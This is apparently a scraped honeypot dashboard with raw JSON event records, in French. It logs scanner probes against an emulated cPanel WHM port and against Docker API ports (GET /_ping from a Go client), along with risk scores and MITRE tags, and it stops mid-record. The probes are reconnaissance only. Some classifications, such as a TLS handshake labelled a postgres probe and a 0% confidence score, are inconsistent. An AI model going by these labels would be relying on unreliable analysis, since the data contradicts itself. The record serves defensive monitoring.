"evidence_snippet": "\ufffd\ufffd\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\ufffdQ_\ufffdh\ufffd\ufffd\u00dc\ufffdj\ufffd\ufffd},C8\/^\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd\u001e q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\u000b\ufffdQ\u001a_\ufffdh\ufffd\ufffd\u00dc\ufffd\u000fj\ufffd\ufffd},C8\/^\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\ufffdQ_\ufffdh\ufffd\ufffd\u00dc\ufffdj\ufffd\ufffd},C8\/^\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
12376 · HTTP
|
http
|
http
http · via HTTP:12376 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12376
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "d85783a0d3edbdcfc7e9c1bf81a2bab776fc1dc2",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12376,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.5,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "e3b685de06f21e58beed9ae0b3ec6596dd00ea41",
"event_fingerprint": "47fb74da4a51a111ae4ae003d51129422f64f69a",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "373e495a31d8618b88c1656accde2175",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12376,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "796e9d4d8254ea513c58a5b908d0934596e4bc8b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12376,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
2376 · DOCKER TLS
|
docker-tls
|
docker tls probe
docker tls probe · via DOCKER TLS:2376 · (sonde / probe)
|
Élevée
|
Moyen · 45
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER-TLS
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_tls_emulated
docker_tls_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2376
Chemin / cible
—
Service
DOCKER TLS
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2376 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_tls_probe » (signaux protocolaires) · confiance 62%
Confiance classification
62%
Risque capteur
Moyen
· 45
Confiance : Confiance 62 % — 5 signal(aux) capteur
Protocole émulé
1
Signaux
Docker Tls
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "15030300020228",
"emulator_response_len": 7,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker-tls",
"app_proto": "docker-tls",
"asn": 215925,
"country": "US",
"dst_port": 2376,
"risk_waf": 8,
"risk_classification": 44,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 45,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "ecac66132698f2c53170ca45331a87e4d06856d7",
"event_fingerprint": "0e1c691ada97ecfe1cd84524e4db6b819b7ed10b",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 69,
"precision_signals": [
"INT-docker-tls",
"INT-upstream"
],
"kb_rule_ids": [
"INT-docker-tls",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"named_classification_skipped": false,
"service_name": "docker-tls",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9829434df8ba002fbc6e132d1aaed959",
"path_pattern_hash": "d32a2cff6903ffd31fff36df36da58ae"
},
"target_context": {
"dst_port": 2376,
"service": "docker-tls",
"service_name": "docker-tls",
"risk_score": 45
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d94f6da5ca0247ef5c25464b9f7449a5e7c8861e",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"classification_reason_label_fr": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "docker-tls",
"service_label_fr": "DOCKER TLS",
"dst_port": 2376,
"protocol_emulated": true,
"tags_summary": [
"INT-docker-tls",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Docker Tls",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-docker-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker_tls",
"service_banner": "honeypot-docker-tls",
"service_os": "linux",
"dst_port": "2376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_tls_emulated",
"docker_tls_payload",
"http_get_probe",
"net_docker_tls_probe"
]
}
|
|
|
TCP |
2375 · DOCKER
|
docker
|
Sonde API Docker
docker api probe · via DOCKER:2375 · (sonde / probe)
|
Élevée
|
Faible · 23
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_emulated
docker_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2375
Chemin / cible
—
Service
DOCKER
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0%
Confiance classification
0%
Risque capteur
Faible
· 23
Confiance : Confiance 0 % — 5 signal(aux) capteur
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234",
"emulator_response_len": 162,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker",
"app_proto": "docker",
"asn": 215925,
"country": "US",
"dst_port": 2375,
"risk_waf": 8,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 23,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "8c1839cdbd9fa9388eb8b04668a8b57ccf5e28c3",
"event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"confidence": 0,
"classification_confidence": 0,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"named_classification_skipped": false,
"service_name": "docker",
"risk_confidence_factor": 0,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "79eb5174abbe8530894d19001a604c1b",
"path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6"
},
"target_context": {
"dst_port": 2375,
"service": "docker",
"service_name": "docker",
"risk_score": 23
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"cloud_infra_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f90e64b52d422d1b9c960e6af86ba8fc92266947",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 0,
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 23,
"risk_label": "Faible",
"service_name": "docker",
"service_label_fr": "DOCKER",
"dst_port": 2375,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Docker 24.0.5",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": null,
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
